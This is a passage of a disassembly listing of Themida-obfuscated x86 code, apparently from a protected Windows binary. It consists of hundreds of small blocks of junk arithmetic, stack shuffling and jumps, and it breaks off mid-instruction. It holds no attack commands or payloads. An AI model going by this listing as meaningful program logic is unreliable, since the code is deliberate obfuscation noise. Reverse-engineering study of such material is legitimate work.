--------------------------------------------------------------------------- loc_598FD9: ; CODE XREF: Themida_:00594B59j pop ebx pop ebp sub esp, 4 jmp loc_5997C5 ; --------------------------------------------------------------------------- loc_598FE3: ; CODE XREF: Themida_:00599AE1j push dword ptr [esp] pop esi jmp loc_5A2613 ; --------------------------------------------------------------------------- loc_598FEC: ; CODE XREF: Themida_:00598862j mov [esp], ebp mov ebp, 4 jmp loc_5A272F ; --------------------------------------------------------------------------- loc_598FF9: ; CODE XREF: Themida_:005958D1j mov esi, 4878C45Eh xor eax, esi jmp loc_5A2FD2 ; --------------------------------------------------------------------------- loc_599005: ; CODE XREF: Themida_:00593467j add ebx, 612D50A1h not ebx xor ebx, 94CB9575h add esi, ebx mov ebx, [esp] jmp loc_59773A ; --------------------------------------------------------------------------- loc_59901D: ; CODE XREF: Themida_:00591197j add esp, 4 jmp loc_595E41 ; --------------------------------------------------------------------------- loc_599028: ; CODE XREF: Themida_:0059EA97j pop eax or eax, 72D2EA4h add eax, 0E704F42Bh mov esi, eax jmp loc_5A3821 ; --------------------------------------------------------------------------- loc_59903A: ; CODE XREF: Themida_:00591FE6j mov [esp], ebp mov ebp, 2 add edi, ebp mov ebp, [esp] add esp, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] jmp loc_59458B ; --------------------------------------------------------------------------- loc_59905B: ; CODE XREF: Themida_:005A54CEj sub ebx, ebp sub ebx, 9373774h jmp loc_59F245 ; --------------------------------------------------------------------------- loc_599068: ; CODE XREF: Themida_:005A289Bj push esp pop edx push 3FA7h mov [esp], ebx push edx mov edx, 379815A4h push 92Ch mov [esp], edi mov edi, 53AD33FEh xor edi, 0B5971C30h jmp loc_5A0B40 ; --------------------------------------------------------------------------- loc_599090: ; CODE XREF: Themida_:0059C470j pop edx pop dword ptr [esp] mov esp, [esp] ror byte ptr [esp], cl pushf jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_5990A0: ; CODE XREF: Themida_:005A0C97j mov dl, 50h sub dl, bl jmp loc_599250 ; --------------------------------------------------------------------------- loc_5990A9: ; CODE XREF: Themida_:005A47CEj push ecx mov ecx, 2BC8083Dh mov eax, ecx pop ecx xor ecx, eax mov eax, [esp] add esp, 4 add edi, ecx jmp loc_59AFFC ; --------------------------------------------------------------------------- loc_5990C1: ; CODE XREF: Themida_:005911EBj push edx mov edx, esp jmp loc_5A206F ; --------------------------------------------------------------------------- loc_5990C9: ; CODE XREF: Themida_:0059E4C7j shr edi, 5 jmp loc_59EACF ; --------------------------------------------------------------------------- loc_5990D1: ; CODE XREF: Themida_:005A3FF9j push ecx push eax jmp loc_5A20F6 ; --------------------------------------------------------------------------- loc_5990D8: ; CODE XREF: Themida_:00598022j push 5990h jmp loc_591764 ; --------------------------------------------------------------------------- loc_5990E2: ; CODE XREF: Themida_:005A3C76j push 24C66A79h pop edi dec edi inc edi sub edi, 17CC4432h mov eax, edi pop edi push edi push ebx mov ebx, eax mov edi, ebx pop ebx mov ecx, edi jmp loc_5940F2 ; --------------------------------------------------------------------------- loc_599101: ; CODE XREF: Themida_:00593593j xchg ebp, [esp] mov esp, [esp] push edx push dword ptr [esp+4] push dword ptr [esp] pop edx push esi mov esi, esp jmp loc_5A3466 ; --------------------------------------------------------------------------- loc_599118: ; CODE XREF: Themida_:0059EBB2j push eax mov al, ch mov bh, al pop eax jmp loc_5A2AF6 ; --------------------------------------------------------------------------- loc_599123: ; CODE XREF: Themida_:0059AB21j add edx, 0FFFFFFFFh push 0 jmp loc_594AD9 ; --------------------------------------------------------------------------- loc_599130: ; CODE XREF: Themida_:0059A5F8j pop edx add ebp, ecx add ebp, 0B9C63E1h mov ecx, [esp] add esp, 4 jmp loc_5926D1 ; --------------------------------------------------------------------------- push dword ptr [edi+3Ch] push 6746h mov [esp], eax push edx push 20022F55h jmp loc_593144 ; --------------------------------------------------------------------------- loc_59915D: ; CODE XREF: Themida_:00593D7Aj pop esp push 6318h mov [esp], edi push esp pop edi push ebx jmp loc_59F6B2 ; --------------------------------------------------------------------------- loc_59916E: ; CODE XREF: Themida_:005A0F72j pop eax add esp, 4 mov ebp, [esp] push eax mov eax, esp push ebp sub esp, 4 mov [esp], ebx sub esp, 4 mov [esp], esi mov esi, 3FD7175h shr esi, 1 jmp loc_5A50E2 ; --------------------------------------------------------------------------- loc_599194: ; CODE XREF: Themida_:005A35D5j push edx push ebx jmp loc_596BE7 ; --------------------------------------------------------------------------- loc_59919B: ; CODE XREF: Themida_:0059DE6Ej push 603E4A4Bh jmp loc_5913EA ; --------------------------------------------------------------------------- loc_5991A5: ; CODE XREF: Themida_:005A2038j sub ebx, edx pop edx push ebx add dword ptr [esp], 3B0D3506h pop ecx sub ecx, 3B0D3506h mov ebx, [esp] add esp, 4 jmp loc_591B0D ; --------------------------------------------------------------------------- loc_5991C2: ; CODE XREF: Themida_:005923C4j sub ecx, 1C465924h sub ecx, 4F3D4A6Fh add ecx, eax jmp loc_5A0D17 ; --------------------------------------------------------------------------- loc_5991D5: ; CODE XREF: Themida_:005946D8j pop edi add esi, 311353EAh sub esi, ecx sub esi, 311353EAh push eax jmp loc_598477 ; --------------------------------------------------------------------------- loc_5991EA: ; CODE XREF: Themida_:0059553Bj push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push 216Ch jmp loc_59F93D ; --------------------------------------------------------------------------- loc_599207: ; CODE XREF: Themida_:005A0F4Cj add ecx, 0C47A0E4Ch add ebp, ecx pop ecx push 6B44h mov [esp], eax mov eax, 4 sub ebp, eax mov eax, [esp] add esp, 4 xchg ebp, [esp] pop esp mov [esp], esi jmp loc_5A3E45 ; --------------------------------------------------------------------------- loc_599234: ; CODE XREF: Themida_:005A1BCEj push dword ptr [esp] push dword ptr [esp] mov eax, [esp] add esp, 4 push esi push esp mov esi, [esp] push eax mov eax, esp jmp loc_59650B ; --------------------------------------------------------------------------- loc_599250: ; CODE XREF: Themida_:005990A4j pop ebx sub al, dl mov dx, [esp] add esp, 2 jmp loc_59FA06 ; --------------------------------------------------------------------------- loc_59925F: ; CODE XREF: Themida_:005A4ED3j push edx mov edx, 1558438Bh add edx, 2B1270EBh jmp loc_59DD3F ; --------------------------------------------------------------------------- loc_599270: ; CODE XREF: Themida_:0059BF13j add edx, 4 add edx, 4 xchg edx, [esp] mov esp, [esp] jmp loc_594C4A ; --------------------------------------------------------------------------- loc_599287: ; CODE XREF: Themida_:005932F7j add ecx, 1 sub ecx, 60981BCBh add edx, ecx pop ecx xchg edx, [esp] pop esp jmp loc_59A60A ; --------------------------------------------------------------------------- push ebp push 4BBBh mov [esp], edx mov edx, esp add edx, 4 push eax push ecx push 405F15E1h pop ecx add ecx, 1 and ecx, 237010BEh xor ecx, 5010A6h jmp loc_5A1B69 ; --------------------------------------------------------------------------- loc_5992CF: ; CODE XREF: Themida_:0059C7DDj push edx mov edx, esp add edx, 4 push esi push edx mov edx, 57586FB9h mov esi, 57586FBDh add esi, 2FFF235Eh sub esi, edx sub esi, 2FFF235Eh pop edx jmp loc_599E5D ; --------------------------------------------------------------------------- loc_5992F8: ; CODE XREF: Themida_:0059F0B3j push 73AAh mov [esp], edi mov edi, 64820D05h add ecx, edi mov edi, [esp] add esp, 4 sub ecx, 64E45D6h push dword ptr [esp] pop ebx add esp, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] jmp loc_59B4BD ; --------------------------------------------------------------------------- loc_59932B: ; CODE XREF: Themida_:005965B4j mov ebx, [esp] add esp, 4 jmp loc_5995F3 ; --------------------------------------------------------------------------- loc_599339: ; CODE XREF: Themida_:005A2F53j push ebx mov ebx, 796E49FDh jmp loc_5A2B96 ; --------------------------------------------------------------------------- loc_599344: ; CODE XREF: Themida_:005967D7j push ecx mov ecx, esp jmp loc_593F1A ; --------------------------------------------------------------------------- loc_59934C: ; CODE XREF: Themida_:005962CEj add edx, 5D330264h pop ecx mov edi, edx pop edx jmp loc_5A424E ; --------------------------------------------------------------------------- loc_59935B: ; CODE XREF: Themida_:00594586j push eax jmp loc_59E2E0 ; --------------------------------------------------------------------------- loc_599361: ; CODE XREF: Themida_:005913FFj add edx, ebp push ebx jmp loc_5955FA ; --------------------------------------------------------------------------- loc_599369: ; CODE XREF: Themida_:005A4F03j xor edi, 3B4D6D1Eh sub ebp, 7A45758h jmp loc_59E1AC ; --------------------------------------------------------------------------- loc_59937A: ; CODE XREF: Themida_:005A3925j pop ebx mov edx, [esp] jmp loc_594269 ; --------------------------------------------------------------------------- loc_599383: ; CODE XREF: Themida_:005A4263j sub ebx, 729F7AFEh sub ebx, 3E7799Bh sub ebx, 3EA50B79h sub ebx, eax add ebx, 3EA50B79h add ebx, 3E7799Bh push 27ADh mov [esp], edx jmp loc_59FCCE ; --------------------------------------------------------------------------- loc_5993B0: ; CODE XREF: Themida_:005A4768j pop esp jmp loc_5A1B53 ; --------------------------------------------------------------------------- loc_5993B6: ; CODE XREF: Themida_:005A3013j xor ebx, 0BA061791h and eax, ebx push dword ptr [esp] jmp loc_594764 ; --------------------------------------------------------------------------- loc_5993C6: ; CODE XREF: Themida_:005A1B8Dj jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_5993CB: ; CODE XREF: Themida_:00596220j xor ebx, 5763702Bh push ebp mov ebp, 4F549C44h jmp loc_59E28F ; --------------------------------------------------------------------------- loc_5993DC: ; CODE XREF: Themida_:00592883j pop edx add esp, 4 jmp loc_591FE0 ; --------------------------------------------------------------------------- loc_5993E5: ; CODE XREF: Themida_:005A23A2j movzx eax, ax push ecx sub esp, 4 jmp loc_5A52BC ; --------------------------------------------------------------------------- loc_5993F1: ; CODE XREF: Themida_:005A03D5j neg edi xor edi, 0EDD27A18h sub ebx, edi pop edi jmp loc_59E686 ; --------------------------------------------------------------------------- loc_599401: ; CODE XREF: Themida_:0059DC2Ej sub dword ptr [esp+4], 28434C9Bh jmp loc_5A4EEF ; --------------------------------------------------------------------------- loc_59940E: ; CODE XREF: Themida_:00595533j add eax, edx pop edx xchg eax, [esp] mov esp, [esp] div ecx push 6B37h mov [esp], edx push eax pushf jmp loc_593AF2 ; --------------------------------------------------------------------------- loc_599428: ; CODE XREF: Themida_:00599920j add ebx, 2 push ebx push dword ptr [esp+4] jmp loc_5A4968 ; --------------------------------------------------------------------------- loc_599438: ; CODE XREF: Themida_:005964D0j pop ebp jmp loc_59261A ; --------------------------------------------------------------------------- loc_59943E: ; CODE XREF: Themida_:00597392j push esp pop ebp push esi push ebx push esi mov esi, 5DDB4D99h jmp loc_59842B ; --------------------------------------------------------------------------- loc_59944D: ; CODE XREF: Themida_:00596318j dec ebp sub ebp, 0D62A0CFAh or eax, ebp jmp loc_5A4FA3 ; --------------------------------------------------------------------------- loc_59945B: ; CODE XREF: Themida_:0059D406j pop ecx push ebx mov ebx, 4E340968h shr ebx, 5 shl ebx, 3 or ebx, 50437714h shr ebx, 3 jmp loc_5A3E74 ; --------------------------------------------------------------------------- loc_599476: ; CODE XREF: Themida_:0059BFF1j xor ebp, 0E7FF20DCh sub ebx, ebp mov ebp, [esp] add esp, 4 jmp loc_599808 ; --------------------------------------------------------------------------- loc_599489: ; CODE XREF: Themida_:005934B1j add eax, esi sub eax, 0DB31D24h sub eax, 5ABF2D60h mov esi, [esp] jmp loc_5A1172 ; --------------------------------------------------------------------------- loc_59949D: ; CODE XREF: Themida_:0059BEA7j xchg eax, ebx jmp loc_593EDD ; --------------------------------------------------------------------------- loc_5994A3: ; CODE XREF: Themida_:005A0A7Cj mov ecx, 25CE4A7Dh dec ecx push ebx jmp loc_591A80 ; --------------------------------------------------------------------------- loc_5994AF: ; CODE XREF: Themida_:0059E765j mov edx, 8481BDCh sub esi, 66E43CE2h sub esi, edx add esi, 66E43CE2h mov edx, [esp] jmp loc_599E27 ; --------------------------------------------------------------------------- loc_5994CA: ; CODE XREF: Themida_:005925D3j pop esp jmp loc_59C7D7 ; --------------------------------------------------------------------------- loc_5994D0: ; CODE XREF: Themida_:005A48CDj mov edx, [esp] add esp, 4 xor al, bl mov ebx, [esp] add esp, 4 xor bl, al movzx eax, al push ebx push esp mov ebx, [esp] push ebp push 322Dh push esp pop dword ptr [esp] push edi jmp loc_59BD0A ; --------------------------------------------------------------------------- loc_5994FB: ; CODE XREF: Themida_:005917C2j mov eax, [esp] add esp, 4 and eax, 2410646Eh inc eax not eax inc eax xor eax, 0DE12D06Fh xor ebp, eax pop eax inc ebp xor ebp, 345F31C0h add esi, ebp pop ebp xor esi, [esp] xor [esp], esi xor esi, [esp] jmp loc_597939 ; --------------------------------------------------------------------------- loc_59952D: ; CODE XREF: Themida_:00598C97j mov edi, 37DC00B0h add ebx, edi pop edi mov ecx, [esp] add esp, 4 jmp loc_597269 ; --------------------------------------------------------------------------- loc_599543: ; CODE XREF: Themida_:005A1AFDj push dword ptr [esp] mov ebx, [esp] jmp loc_59C543 ; --------------------------------------------------------------------------- loc_59954E: ; CODE XREF: Themida_:0059E535j add ebp, 3271C24h add ebp, esi sub ebp, 3271C24h jmp loc_59C771 ; --------------------------------------------------------------------------- loc_599561: ; CODE XREF: Themida_:00592265j jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_599566: ; CODE XREF: Themida_:005A484Fj mov [esp], edx jmp loc_5954AB ; --------------------------------------------------------------------------- loc_59956E: ; CODE XREF: Themida_:005A272Aj mov ch, 0B9h neg ch sub ch, 0C1h push edx mov dl, 0A8h not dl shl dl, 6 xor dl, 0BEh or ch, dl pop edx not ch and ch, 3Fh push ebx mov bl, 82h jmp loc_595E0D ; --------------------------------------------------------------------------- loc_599590: ; CODE XREF: Themida_:0059CF7Cj pop edx add esp, 4 jmp loc_5A2835 ; --------------------------------------------------------------------------- loc_59959C: ; CODE XREF: Themida_:005A3328j mov edx, 19074135h jmp loc_592D33 ; --------------------------------------------------------------------------- loc_5995A6: ; CODE XREF: Themida_:0059B7A3j and edx, 25B80F69h neg edx add edx, 796E1890h xor edx, 78E6106Ch jmp loc_596ABD ; --------------------------------------------------------------------------- loc_5995BF: ; CODE XREF: Themida_:0059E8C0j pop edi xchg ecx, [esp] pop esp xor eax, edx xor edx, eax xor eax, edx xor [esp], eax xor eax, [esp] xor [esp], eax jmp loc_594CB4 ; --------------------------------------------------------------------------- loc_5995D8: ; CODE XREF: Themida_:0059388Dj shl ecx, 7 push edx mov edx, 66AD6BA3h jmp loc_59AD0C ; --------------------------------------------------------------------------- loc_5995E6: ; CODE XREF: Themida_:005A4D22j mov dh, 13h or bh, dh pop edx shl bh, 5 jmp loc_59B7C8 ; --------------------------------------------------------------------------- loc_5995F3: ; CODE XREF: Themida_:00599334j and ecx, 64D83598h shl ecx, 5 inc ecx push 7E6Ah jmp loc_59A6E0 ; --------------------------------------------------------------------------- loc_599607: ; CODE XREF: Themida_:0059A4DEj mov cx, [esp] add esp, 2 sub bl, 9Eh sub esp, 2 mov [esp], cx mov ch, 83h add bl, 0 sub bl, ch sub bl, 0 mov cx, [esp] jmp loc_59CC72 ; --------------------------------------------------------------------------- loc_59962E: ; CODE XREF: Themida_:0059FA59j add edi, 0BB96872h mov esi, edi pop edi xor esi, 2D21629Ah sub esi, 3F010D36h push edx mov edx, 0FFFFFFFFh jmp loc_59B5AA ; --------------------------------------------------------------------------- loc_59964E: ; CODE XREF: Themida_:005A4B3Dj pop edi add edx, ecx jmp loc_59A834 ; --------------------------------------------------------------------------- loc_599656: ; CODE XREF: Themida_:005908F4j add ebx, 2A9A4681h push eax jmp loc_59C395 ; --------------------------------------------------------------------------- loc_599662: ; CODE XREF: Themida_:005A531Aj pop edi add edi, 4 jmp loc_59C274 ; --------------------------------------------------------------------------- loc_59966E: ; CODE XREF: Themida_:0059FC3Aj mov ecx, 2AA30140h add ebx, ecx jmp loc_5963AD ; --------------------------------------------------------------------------- loc_59967A: ; CODE XREF: Themida_:0059C353j sub edx, 218D2EF9h pop eax xchg ebx, edx neg ebx xchg ebx, edx add edx, 0FFFFFFFFh push ecx mov ecx, 37065B03h add ecx, 595376FAh and ecx, 47932204h sub ecx, 43EF417Eh sub edx, ecx pop ecx add ebp, edx mov edx, [esp] add esp, 4 push ebp push dword ptr [esp+4] jmp loc_591BDA ; --------------------------------------------------------------------------- loc_5996BA: ; CODE XREF: Themida_:00596DBEj jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_5996BF: ; CODE XREF: Themida_:00596E23j sub edx, eax jmp loc_599DB2 ; --------------------------------------------------------------------------- loc_5996C6: ; CODE XREF: Themida_:00595E16j push eax mov al, ch mov dl, al mov eax, [esp] push edi mov edi, esp push ebp mov ebp, 7FAB488Eh not ebp inc ebp and ebp, 30B77FF8h jmp loc_5A0CEF ; --------------------------------------------------------------------------- loc_5996E5: ; CODE XREF: Themida_:0059E45Bj pop dword ptr [esp] mov esp, [esp] jmp loc_5A41CD ; --------------------------------------------------------------------------- loc_5996F0: ; CODE XREF: Themida_:00592546j mov ebx, 67F13840h sub ebx, 0FFFFFFFFh sub ebx, 67F1383Dh mov esi, ebx pop ebx sub eax, 36F03D48h add eax, esi add eax, 36F03D48h jmp loc_5979F6 ; --------------------------------------------------------------------------- loc_599712: ; CODE XREF: Themida_:0059EC2Ej push edx mov edx, 1B6163C9h xor [esp+4], edx pop edx push dword ptr [esp] mov eax, [esp] add esp, 4 jmp loc_59B924 ; --------------------------------------------------------------------------- loc_59972E: ; CODE XREF: Themida_:00597BF8j and ecx, 17E0738Bh jmp loc_59D8DD ; --------------------------------------------------------------------------- loc_599739: ; CODE XREF: Themida_:00592E71j inc ebp or ebp, 1AD77F9h xor ebp, 7CD29AB0h mov ebx, ebp jmp loc_595E5E ; --------------------------------------------------------------------------- loc_59974D: ; CODE XREF: Themida_:005A069Ej xor edi, 354C31C8h jmp loc_59AAD7 ; --------------------------------------------------------------------------- loc_599758: ; CODE XREF: Themida_:00590CC5j pop ecx push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp push 7D33h mov [esp], eax jmp loc_5907C4 ; --------------------------------------------------------------------------- loc_599776: ; CODE XREF: Themida_:0059FDADj mov esi, 4D044DAh push eax mov eax, 28B451F7h xor eax, 542D4241h sub esi, eax jmp loc_5A5649 ; --------------------------------------------------------------------------- loc_59978D: ; CODE XREF: Themida_:0059620Cj dec esi or esi, 40F04964h jmp loc_595C91 ; --------------------------------------------------------------------------- loc_599799: ; CODE XREF: Themida_:00594FEDj add esi, 4 jmp loc_593F7D ; --------------------------------------------------------------------------- loc_5997A4: ; CODE XREF: Themida_:005930E0j add edx, 50A223DDh add edx, ebx jmp loc_5A2602 ; --------------------------------------------------------------------------- loc_5997B1: ; CODE XREF: Themida_:0059743Cj or [edi+1Ch], ebp jmp loc_5A1F3F ; --------------------------------------------------------------------------- loc_5997B9: ; CODE XREF: Themida_:005A0163j mov esp, [esp] or [esp], al pushf jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_5997C5: ; CODE XREF: Themida_:00598FDEj mov [esp], edx sub esp, 4 jmp loc_5A0690 ; --------------------------------------------------------------------------- loc_5997D3: ; CODE XREF: Themida_:0059AF77j sub ebp, edx jmp loc_5A5011 ; --------------------------------------------------------------------------- loc_5997DA: ; CODE XREF: Themida_:00592067j sub eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp jmp loc_598A19 ; --------------------------------------------------------------------------- loc_5997EE: ; CODE XREF: Themida_:00592EB7j push ebx push ecx mov cl, 1Bh shr cl, 2 push eax mov al, 0B6h shl al, 4 not al xor al, 83h not al sub al, 84h jmp loc_592503 ; --------------------------------------------------------------------------- loc_599808: ; CODE XREF: Themida_:00599484j add ebx, 41FA572Eh dec ebx push edx mov edx, 408C0C89h not edx neg edx jmp loc_59D263 ; --------------------------------------------------------------------------- loc_59981E: ; CODE XREF: Themida_:005905CDj xor ebp, 0F989B9B9h jmp loc_5A2F46 ; --------------------------------------------------------------------------- loc_599829: ; CODE XREF: Themida_:0059F262j not edx xor edx, 0AD54EC5Eh mov esi, edx pop edx neg esi xor esi, 0E584A3EAh xor edx, esi pop esi mov ebx, edx jmp loc_59515A ; --------------------------------------------------------------------------- loc_599846: ; CODE XREF: Themida_:00595FF9j push esp mov edx, [esp] push edi jmp loc_59DA80 ; --------------------------------------------------------------------------- lodsd push 7319h mov [esp], esi mov esi, 78232EF3h sub eax, 14390990h jmp loc_59286A ; --------------------------------------------------------------------------- loc_599868: ; CODE XREF: Themida_:0059AAA9j movzx eax, al mov dx, [esp] push edx jmp loc_59AF2A ; --------------------------------------------------------------------------- loc_599875: ; CODE XREF: Themida_:0059F6CCj jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_59987A: ; CODE XREF: Themida_:0059EBDFj pop eax add esp, 4 jmp loc_5A4437 ; --------------------------------------------------------------------------- loc_599886: ; CODE XREF: Themida_:005A4ACEj jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_59988B: ; CODE XREF: Themida_:00593731j mov bl, 1 sub dh, bl pop ebx jmp loc_595377 ; --------------------------------------------------------------------------- loc_599895: ; CODE XREF: Themida_:00596CC3j dec edi add edi, 165F18E1h inc edi not edi sub edi, 0AAD576D7h jmp loc_5A51D4 ; --------------------------------------------------------------------------- loc_5998AA: ; CODE XREF: Themida_:00595330j mov [esp], eax sub esp, 4 mov [esp], esp add dword ptr [esp], 4 jmp loc_59F818 ; --------------------------------------------------------------------------- loc_5998BF: ; CODE XREF: Themida_:0059AD6Fj shr bp, 2 sub bp, 6652h inc bp jmp loc_59F14A ; --------------------------------------------------------------------------- loc_5998CF: ; CODE XREF: Themida_:005A1295j sub eax, ebp jmp loc_5A5263 ; --------------------------------------------------------------------------- loc_5998D6: ; CODE XREF: Themida_:00595DA1j add dword ptr [esp], 4 pop eax jmp loc_598817 ; --------------------------------------------------------------------------- loc_5998E3: ; CODE XREF: Themida_:0059D046j add ecx, 5A791BF4h sub ecx, esi push ebx jmp loc_592C09 ; --------------------------------------------------------------------------- loc_5998F1: ; CODE XREF: Themida_:00598B27j push ebx mov ebx, 4 add ecx, ebx jmp loc_596DC3 ; --------------------------------------------------------------------------- loc_5998FE: ; CODE XREF: Themida_:0059714Fj mov esp, [esp] or [esp], ax pushf jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_59990B: ; CODE XREF: Themida_:00594149j xor [esp], eax xor eax, [esp] mov esp, [esp] mov [esp], eax jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_59991C: ; CODE XREF: Themida_:00594BF0j xchg ebp, [esp] pop esp jmp loc_599428 ; --------------------------------------------------------------------------- loc_599925: ; CODE XREF: Themida_:0059133Dj sub eax, ecx pop ecx sub eax, 22DF0CCAh jmp loc_59DAC7 ; --------------------------------------------------------------------------- loc_599932: ; CODE XREF: Themida_:005A1456j mov esp, [esp] push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], edi push esp jmp loc_5A1AED ; --------------------------------------------------------------------------- loc_599951: ; CODE XREF: Themida_:005A051Bj push esp jmp loc_5A3301 ; --------------------------------------------------------------------------- loc_599957: ; CODE XREF: Themida_:005A1826j mov esp, [esp] push dword ptr [esp] jmp loc_59661B ; --------------------------------------------------------------------------- loc_599962: ; CODE XREF: Themida_:0059E2DBj pop esp mov [esp], edi push ecx jmp loc_5A022A ; --------------------------------------------------------------------------- loc_59996C: ; CODE XREF: Themida_:005A2136j or bh, dh pop edx push cx mov cl, bh not cl mov bh, cl jmp loc_595363 ; --------------------------------------------------------------------------- loc_59997C: ; CODE XREF: Themida_:0059D6A6j mov ax, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 2 xchg ebp, [esp] pop esp add bl, 29h jmp loc_59A6B0 ; --------------------------------------------------------------------------- loc_599998: ; CODE XREF: Themida_:00590491j mov ebp, 7B583CD5h inc ebp jmp loc_59C908 ; --------------------------------------------------------------------------- loc_5999A3: ; CODE XREF: Themida_:0059E74Dj mov ebp, 9A1614Ah jmp loc_59B5B2 ; --------------------------------------------------------------------------- loc_5999AD: ; CODE XREF: Themida_:00598BA4j pop edx jmp loc_5A3923 ; --------------------------------------------------------------------------- loc_5999B3: ; CODE XREF: Themida_:0059C324j push esi mov esi, 5ABE71BBh push ebp mov ebp, 517B3E2Eh sub esi, ebp pop ebp jmp loc_59B363 ; --------------------------------------------------------------------------- loc_5999C7: ; CODE XREF: Themida_:005A06FEj mov [esp], ebp jmp loc_59BF09 ; --------------------------------------------------------------------------- loc_5999CF: ; CODE XREF: Themida_:0059D036j pop ecx and dh, 0CFh push 7920h mov [esp], eax jmp loc_59220D ; --------------------------------------------------------------------------- loc_5999E0: ; CODE XREF: Themida_:0059B440j push dword ptr [esp] pop ecx add esp, 4 dec ebx jmp loc_59FC28 ; --------------------------------------------------------------------------- loc_5999ED: ; CODE XREF: Themida_:0059E085j sub cl, 1 push bx mov bh, 92h sub cl, bh pop bx xor bh, cl jmp loc_5928A5 ; --------------------------------------------------------------------------- loc_5999FF: ; CODE XREF: Themida_:005A3F34j pop ebx push ebx mov ebx, esp add ebx, 4 jmp loc_5A0C08 ; --------------------------------------------------------------------------- loc_599A0E: ; CODE XREF: Themida_:005959A0j push dword ptr [esp] pop ecx push ecx jmp loc_59F47B ; --------------------------------------------------------------------------- loc_599A18: ; CODE XREF: Themida_:005959E0j pop esp or edx, eax shl edx, 1 push 3F66h jmp loc_59AEE5 ; --------------------------------------------------------------------------- loc_599A27: ; CODE XREF: Themida_:00599AC9j xchg eax, edi xchg eax, edi add eax, 2582164Dh sub ebx, 34011EC1h jmp loc_5974C0 ; --------------------------------------------------------------------------- loc_599A39: ; CODE XREF: Themida_:005A22F0j pop edi sub ebx, edx pop edx shr ebx, 5 not ebx jmp loc_5A534B ; --------------------------------------------------------------------------- loc_599A47: ; CODE XREF: Themida_:00596297j add edx, 2B276BFFh add edx, 1A62CF0Eh add ecx, edx pop edx push ebp mov ebp, 42520981h sub ebp, 26200BB7h dec ebp sub ebp, 1C31FDC7h add ecx, ebp pop ebp jmp loc_5A5250 ; --------------------------------------------------------------------------- loc_599A71: ; CODE XREF: Themida_:005A391Ej pop esi and esi, 7E9A7534h sub esi, 50C558B4h mov edi, esi pop esi add edi, esi pop esi mov esi, edi mov edi, [esp] add esp, 4 add edx, esi mov esi, [esp] add esp, 4 jmp loc_59D4D7 ; --------------------------------------------------------------------------- loc_599A9C: ; CODE XREF: Themida_:0059A565j sub ecx, ebp mov ebp, [esp] add esp, 4 jmp loc_59B96C ; --------------------------------------------------------------------------- loc_599AA9: ; CODE XREF: Themida_:005920CCj mov ecx, 5DB148A8h shl ecx, 8 jmp loc_598455 ; --------------------------------------------------------------------------- loc_599AB6: ; CODE XREF: Themida_:00599C53j add esp, 4 push ebx mov ebx, 25BB2D34h push eax mov eax, 37284919h xchg eax, edi xchg eax, edi not eax jmp loc_599A27 ; --------------------------------------------------------------------------- loc_599ACE: ; CODE XREF: Themida_:0059C205j pop ebp jmp loc_5902EE ; --------------------------------------------------------------------------- push dword ptr [edi+3Ch] jmp loc_5958E4 ; --------------------------------------------------------------------------- loc_599ADC: ; CODE XREF: Themida_:00590640j sub ecx, esi push dword ptr [esp] jmp loc_598FE3 ; --------------------------------------------------------------------------- loc_599AE6: ; CODE XREF: Themida_:00597D0Dj dec ebp not ebp jmp loc_592579 ; --------------------------------------------------------------------------- loc_599AEE: ; CODE XREF: Themida_:0059851Fj add esp, 4 push ebx mov ebx, 2D3E3B5Ah sub esi, ebx mov ebx, [esp] jmp loc_5918DD ; --------------------------------------------------------------------------- loc_599B01: ; CODE XREF: Themida_:00596915j mov esi, [esp] sub esp, 4 mov [esp], ebp mov ebp, esp add ebp, 4 push edx mov edx, 4 add ebp, edx jmp loc_5981B9 ; --------------------------------------------------------------------------- loc_599B1F: ; CODE XREF: Themida_:005A16A5j xor edi, ebx pop ebx add esi, edi pop edi jmp loc_59A236 ; --------------------------------------------------------------------------- loc_599B2A: ; CODE XREF: Themida_:00598FBCj pop esi add esi, 4 add esi, 4 xor esi, [esp] jmp loc_592D93 ; --------------------------------------------------------------------------- loc_599B3F: ; CODE XREF: Themida_:0059D979j pop eax add esp, 4 push edx mov edx, 4 push ecx mov ecx, 4C837031h shr ecx, 2 shl ecx, 8 dec ecx or ecx, 879059Ah shl ecx, 8 sub ecx, 86B4915Ah jmp loc_593F53 ; --------------------------------------------------------------------------- loc_599B6A: ; CODE XREF: Themida_:005A29D4j push dword ptr [esp] pop ebx add esp, 4 push ebx push ebp mov ebp, 1A9B432Bh mov ebx, 77AE08D5h dec ebx xor ebx, 7C103714h jmp loc_59CF81 ; --------------------------------------------------------------------------- loc_599B89: ; CODE XREF: Themida_:0059BA1Cj mov edi, edx pop edx push ecx push eax mov eax, 1FDB1BC4h jmp loc_5A1F2B ; --------------------------------------------------------------------------- loc_599B98: ; CODE XREF: Themida_:00590F08j xor esi, eax pop eax add edi, esi jmp loc_59FD23 ; --------------------------------------------------------------------------- loc_599BA2: ; CODE XREF: Themida_:0059C706j pop edi pop esi push esi not dword ptr [esp] pop esi xchg esi, edi jmp loc_5A111C ; --------------------------------------------------------------------------- loc_599BB0: ; CODE XREF: Themida_:0059F0DBj mov esi, 752154B6h neg esi sub esi, 395C7882h add edx, esi jmp loc_5A56D0 ; --------------------------------------------------------------------------- loc_599BC4: ; CODE XREF: Themida_:0059FADAj pop ebx sub eax, 4 xchg eax, [esp] pop esp mov [esp], ebp jmp loc_5A36DC ; --------------------------------------------------------------------------- loc_599BD6: ; CODE XREF: Themida_:005942B9j add edi, ecx jmp loc_5A542B ; --------------------------------------------------------------------------- loc_599BDD: ; CODE XREF: Themida_:00595393j push ebp mov ebp, 467812C3h jmp loc_5A4675 ; --------------------------------------------------------------------------- loc_599BE8: ; CODE XREF: Themida_:00591F39j pop dword ptr 